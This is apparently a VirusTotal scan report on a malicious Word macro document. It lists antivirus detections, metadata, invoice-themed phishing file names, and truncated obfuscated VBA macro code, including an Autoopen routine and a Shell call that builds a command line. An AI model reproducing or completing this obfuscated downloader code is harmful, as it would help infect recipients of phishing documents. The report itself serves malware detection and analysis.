Antivirus scan for b0669550c575436e5a44c93a038c43a8721e77bba685d60d5cef7b8dc523a17f at 2018-04-26 16:54:40 UTC

Antivirus	Result	Update
Arcabit	HEUR.VBA.Trojan.e	20180426
AVware	LooksLike.Macro.Malware.k (v)	20180426
DrWeb	W97M.DownLoader.2676	20180426
Fortinet	VBA/Agent.HXE!tr.dldr	20180426
McAfee-GW-Edition	BehavesLike.Downloader.cl	20180425
Microsoft	Trojan:Script/Cloxer.A!cl	20180426
NANO-Antivirus	Trojan.Ole2.Vbs-heuristic.druvzi	20180426
Symantec	W97M.Downloader	20180426
TrendMicro	HEUR_VBA.O.ELBP	20180426
VIPRE	LooksLike.Macro.Malware.k (v)	20180426
ZoneAlarm by Check Point	UDS:DangerousObject.Multi.Generic	20180426
Zoner	Probably W97Shell	20180425
Ad-Aware		20180426
AegisLab		20180426
AhnLab-V3		20180426
Alibaba		20180426
ALYac		20180426
Antiy-AVL		20180426
Avast		20180426
Avast-Mobile		20180425
AVG		20180426
Avira (no cloud)		20180426
Babable		20180406
Baidu		20180426
BitDefender		20180426
Bkav		20180426
CAT-QuickHeal		20180426
ClamAV		20180426
CMC		20180426
Comodo		20180426
CrowdStrike Falcon (ML)		20180418
Cybereason		None
Cylance		20180426
Cyren		20180426
eGambit		20180426
Emsisoft		20180426
Endgame		20180403
ESET-NOD32		20180426
F-Prot		20180426
F-Secure		20180426
GData		20180426
Ikarus		20180426
Sophos ML		20180121
Jiangmin		20180426
K7AntiVirus		20180426
K7GW		20180426
Kaspersky		20180426
Kingsoft		20180426
Malwarebytes		20180426
MAX		20180426
McAfee		20180426
eScan		20180426
nProtect		20180426
Palo Alto Networks (Known Signatures)		20180426
Panda		20180426
Qihoo-360		20180426
Rising		20180426
SentinelOne (Static ML)		20180225
Sophos AV		20180426
SUPERAntiSpyware		20180426
Symantec Mobile Insight		20180424
Tencent		20180426
TheHacker		20180426
TrendMicro-HouseCall		20180426
Trustlook		20180426
VBA32		20180426
ViRobot		20180426
Webroot		20180426
Yandex		20180425
Zillya		20180426

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

Seems to contain deobfuscation code.

Summary

creation_datetime

2018-04-26 15:33:00

author

Dytaexu

title

Dytaexu

page_count

last_saved

2018-04-26 15:33:00

revision_number

application_name

Microsoft Office Word

character_count

template

Normal.dotm

code_page

Latin I

subject

Dytae

Document summary

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/HqzXmDaAL

[+] Macros/VBA/NoaBikjkQAif

[+] Macros/VBA/PUABunAGj

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/__SRP_0

[+] Macros/VBA/__SRP_1

[+] Macros/VBA/__SRP_2

[+] Macros/VBA/__SRP_3

[+] Macros/VBA/dir

[+] Macros/VBA/zfAnnQJJ

[+] WordDocument

Macros and VBA code streams

[+] zfAnnQJJ.cls Macros/VBA/zfAnnQJJ 3427 bytes

obfuscated

Sub UFuwFI(BwdcBR)
Select Case uYTbtR
         Case 25512
            avkpk = Hex(jjAso - ChrW(fitRDB))
            iTYrF = CByte(72325)
            IjFNZ = iPfwOQ
         Case 46232
            VPckMi = LiCYs
            ilBEi = Round(6749)
            AzanS = Log(IPDvCn)
End Select
End Sub
Sub cJDwHs(SwBDo)
Select Case ivdduj
         Case 24757
            cVooR = Hex(VpIjz - ChrW(PjZiEz))
            wtDwXw = CByte(73504)
            MmZBT = RzoPHp
         Case 56921
            cnSEDQ = WvZwzQ
            YWRpf = Round(90789)
            DjhjK = Log(jkTzHJ)
End Select
Select Case QQjSv
         Case 40832
            pqzEV = Hex(waRzR - ChrW(ibZEk))
            sSLmc = CByte(53946)
            oFBIqw = KXTMjd
         Case 20101
            zISVf = ajrLvv
            CMDOX = Round(30276)
            DzRbzX = Log(LHMVHN)
End Select
Select Case SDTGwq
         Case 25971
            JzuDr = Hex(LQzLN - ChrW(zCqrWI))
            Pbiqoh = CByte(22006)
            IkIbYU = nUhvfs
         Case 113
            PJtkuQ = bjosw
            iHFVjX = Round(4590)
            pjoIPO = Log(JacGP)
End Select
End Sub
Sub PjuzRS(IYnjWm)
Select Case NbazU
         Case 95523
            ZZFci = Hex(qSJLm - ChrW(LPaKYO))
            GXRwI = CByte(73551)
            FJiAdl = YpGpU
         Case 75086
            FqPct = atmRBk
            rnIdw = Round(80802)
            zhjIi = Log(QmZUU)
End Select
Select Case boAhB
         Case 39026
            wDLWQ = Hex(sValhd - ChrW(imSYGG))
            sWoUSw = CByte(95555)
            brFGJ = rzmKTJ
         Case 80840
            qAsqcZ = VbbvaV
            OqEUBj = Round(89744)
            faTKnp = Log(NnzDOf)
End Select
End Sub
Sub Autoopen()
On Error Resume Next
Select Case cbUYUF
         Case 29477
            LiMPiv = Hex(wIGkH - ChrW(RXRlz))
            OnwWHw = CByte(51002)
            cAcPp = BOlwY
         Case 12724
            HoowdY = KECmU
            BqNME = Round(36887)
            hiwfr = Log(nTDlSN)
End Select
irAFO [... continues ...]

[+] HqzXmDaAL.bas Macros/VBA/HqzXmDaAL 11278 bytes

obfuscated

Sub nQDzR(zLUwCw)
Select Case AGQSV
         Case 67490
            cInStY = Hex(nIqcU - ChrW(BGnAj))
            BAAbG = CByte(30870)
            bzQVk = RTZfc
         Case 70352
            saKCi = hqNuT
            mViqc = Round(63166)
            CjzYWn = Log(XCnca)
End Select
End Sub
Function AKWOjzER()
On Error Resume Next
Select Case KimWhs
         Case 6396
            YtBaoi = Hex(PchzAO - ChrW(kqjkv))
            CtZII = CByte(735)
            dOlRz = iUDiz
         Case 91676
            vTzlpw = qwvmzz
            ZiUtSn = Round(46104)
            BqQAA = Log(zjLkpA)
End Select
VUpAbJ = MEQQXO("nQtS1'+'-VLj+VLjwVL'+'j+V'+'L'+'jen'+'V'+'L'+'j('+'.'+' = UYY6Ze;modnaS", HpcJm - HpcJm + 2 + HpcJm - HpcJm, HpcJm - HpcJm + 65 + HpcJm - HpcJm)
Select Case junTL
         Case 43249
            fTzUB = Hex(Fpjlh - ChrW(XkRJV))
            wtrSkC = CByte(15718)
            apkjaG = Ifirw
         Case 97714
            iKwZDh = fRkSiP
            YNiwLE = Round(65961)
            ECLaq = Log(FjRYp)
End Select
Select Case zvFsNO
         Case 31291
            cbAfQ = Hex(XUHDb - ChrW(NJaoma))
            ZWwiwV = CByte(69575)
            lOPSLc = wVzdF
         Case 38346
            lsoMzY = UQGnlq
            jzDKjL = Round(73837)
            slQJC = Log(FpIVJ)
End Select
zQozhh = MEQQXO("Gjr )VLjtVLj+'+%Gd8G3G", OjVKw - OjVKw + 8 + OjVKw - OjVKw, OjVKw - OjVKw + 13 + OjVKw - OjVKw)
Select Case lDpkXL
         Case 5541
            zIfal = Hex(SXvSY - ChrW(rjACw))
            ViPbzR = CByte(54092)
            IcHTnU = WHjGp
         Case 46531
            riupwA = EDmoj
            YBWLNw = Round(83020)
            pQbfE = Log(VYQwG)
End Select
Select Case WmVXjS
         Case 66796
            tvmRlz = Hex(EaGPu - ChrW(idSzqB))
            zqWDv = CByte(4918)
            wtrNJt = drrjz
         Case 47369
            wVOkam = IDZsQQ
            CYiWiO = Round(6111)
            jtGAV = Log(maQrd)
End Select
jVYMolOj = MEQQXO("BWN.rjt'+'cejb'+'oC", jmjhH - jmjh [... continues ...]

[+] PUABunAGj.bas Macros/VBA/PUABunAGj 26772 bytes

obfuscated run-file

Sub YUsvmhWvdXEuv()
On Error Resume Next
Select Case CsdFw
         Case 82527
            Juddw = Hex(wmLuD - ChrW(aboup))
            mvuFoJ = CByte(41428)
            uzCJv = pVPaO
         Case 35773
            aXJRcA = UdOzo
            MvaEF = Round(38783)
            ZLwjC = Log(wiFMNf)
End Select
End Sub
Sub irAFOphEPzOG(TqSkcBcl As String)
On Error Resume Next
Select Case CLXln
         Case 22985
            ADRlF = Hex(juuuK - ChrW(uLOPY))
            PdEmP = CByte(33641)
            RRMBX = RtLHVu
         Case 25431
            hSBoLB = lLovwL
            iENoz = Round(71786)
            DTsXFt = Log(jDsVLv)
End Select
Select Case LCwEPG
         Case 62812
            YGYdt = Hex(Hthub - ChrW(dwIRFI))
            BHvan = CByte(31718)
            WBPkji = zvmwb
         Case 43
            bJLaj = EMuhw
            miwdj = Round(71904)
            DoFiw = Log(wkjDV)
End Select
Shell iIFZwjzD + Chr(vbKeyC) + TqSkcBcl + lKHilcs + zRGNOwZWfO, cTRqiM + 0 + cTRqiM
Select Case mUXJY
         Case 27874
            whEzt = Hex(iASiww - ChrW(hEIhl))
            FPMfD = CByte(36595)
            jQrNA = TRdKXz
         Case 46760
            fNduXi = ihMqX
            IEmCB = Round(63388)
            zRJFi = Log(dtEuk)
End Select
End Sub
Function VvXUwCiazHOwXs()
On Error Resume Next
Select Case EDMIA
         Case 91804
            aIrBJf = Hex(oIOKsT - ChrW(AkJETc))
            uUwmt = CByte(66259)
            TMtwD = YjmVJc
         Case 64340
            ioRDb = ESCDjS
            josPP = Round(94824)
            VvUMoj = Log(Tzouq)
End Select
oHZusQbuU = MEQQXO("w3bElk%!!zjT", MVTqBo - MVTqBo + 4 + MVTqBo - MVTqBo, MVTqBo - MVTqBo + 6 + MVTqBo - MVTqBo)
Select Case KMfjiS
         Case 4631
            AJqRkO = Hex(ruFufG - ChrW(mTFPrX))
            VOJqXK = CByte(37336)
            Mhzud = mivEU
         Case 31491
            DiALpi = LbTafN
            uhaMEZ = Round(66115)
            YwkcLz = Log(KKWGIR)
End Select
Select Case vSfapz
         Case 1732 [... continues ...]

[+] NoaBikjkQAif.bas Macros/VBA/NoaBikjkQAif 9297 bytes

obfuscated

Function CEdUIzY()
On Error Resume Next
Select Case caGWi
         Case 42057
            zIuCWp = Hex(NYVNw - ChrW(iMdJv))
            mmztFC = CByte(25105)
            ZAaGBS = PMOSUJ
         Case 18133
            VUUYt = PzzbBj
            APpAJG = Round(87168)
            wPMip = Log(AOraT)
End Select
LdaiBh = MEQQXO("Zmmi Vsv", uYOcro - uYOcro + 4 + uYOcro - uYOcro, uYOcro - uYOcro + 1 + uYOcro - uYOcro)
Select Case XdYldU
         Case 12865
            Cdizi = Hex(PwZSLD - ChrW(CXFIu))
            NPiFB = CByte(66099)
            ZWrEW = zjKUkM
         Case 90744
            wDoYO = NVFTc
            QsuUXd = Round(33102)
            NtFVvW = Log(jrDVv)
End Select
Select Case jiDESW
         Case 236
            wtWiNG = Hex(FpSmk - ChrW(wCwij))
            BiApYz = CByte(36809)
            LzDLiQ = TDLzQ
         Case 20685
            QEwAs = lfFamb
            EvDzlt = Round(31413)
            FmGEUh = Log(zmjQkc)
End Select
dzfFwIzf = MEQQXO("SWnTY0E^p^S^m^o^6bd", APLthm - APLthm + 4 + APLthm - APLthm, APLthm - APLthm + 10 + APLthm - APLthm)
Select Case wqXEX
         Case 10490
            udYHRO = Hex(zNMWu - ChrW(KRrwYN))
            jStVq = CByte(42710)
            zNZjWK = LJhwD
         Case 36295
            zYTtp = HizafJ
            AbjDQu = Round(53485)
            mnjAj = Log(zIJAV)
End Select
Select Case IEiErm
         Case 21299
            wKjwX = Hex(rVLYF - ChrW(QoqMZN))
            aFYJn = CByte(61149)
            diMCf = NSumb
         Case 83198
            pMudVX = fTNVii
            kAYBv = Round(36808)
            vNJIt = Log(mzuEki)
End Select
vLwjBF = MEQQXO("5.       cb Rizr1", zjuZcA - zjuZcA + 8 + zjuZcA - zjuZcA, zjuZcA - zjuZcA + 8 + zjuZcA - zjuZcA)
Select Case fOKunP
         Case 83348
            KQqYAv = Hex(SWljYU - ChrW(wlVciB))
            ZJkvwl = CByte(42992)
            dNjbbk = SkszJf
         Case 46134
            EKNkP = ZLkpA
            HGcEKG = Round(54906)
            XzwsKB = Log(kkhsC)
End Select
Selec [... continues ...]

ExifTool file metadata

File identification

MD5 4e1e48b41696481c4cb245140293ef0e

SHA1 4540a8fa774d2e982ba879de799750d66c52e6c4

SHA256 b0669550c575436e5a44c93a038c43a8721e77bba685d60d5cef7b8dc523a17f

ssdeep

3072:2X8Br8ZjNTQMAOwHD6bCw7lQoY3BKOkG/smS7vIwp:I8hcN5Abj6b3Q5d/smS7v

File size 169.5 KB ( 173568 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Dytaexu, Subject: Dytae, Author: Dytaexu, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Apr 25 14:33:00 2018, Last Saved Time/Date: Wed Apr 25 14:33:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

TrID	Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%)

VirusTotal metadata

First submission 2018-04-26 14:47:53 UTC ( 9 months, 3 weeks ago )

Last submission 2018-11-20 09:15:11 UTC ( 2 months, 4 weeks ago )

File names

Outstanding Invoices.doc
Invoice 0901411 April.doc
Invoice Number 60399.doc
882-73-509694-096 & 882-73-509694-040.doc
Invoice #8363511.doc
2018.doc
Question.doc
Invoice for you.doc
Paid Invoices.doc
Scan.doc
e5071f56a4b063b489e5340db3193f774fc8ee2e
Fwd: ACH form.doc
Invoice.doc
377-03-383390-238 & 377-03-383390-487.doc
Invoice #3170116.doc
2018.doc
Invoices Overdue.doc
New order.doc
Invoice 86818656 April.doc
Need to send the attachment.doc
Past Due Invoices.doc
7 Past Due Invoices.doc
Paid Invoice.doc
Paid Invoice & Credit Card Receipt.doc
Invoice 3307364 April.doc

SHA256:	b0669550c575436e5a44c93a038c43a8721e77bba685d60d5cef7b8dc523a17f
Detection ratio:	12 / 59
Analysis date:	2018-04-26 16:54:40 UTC ( 9 months, 3 weeks ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in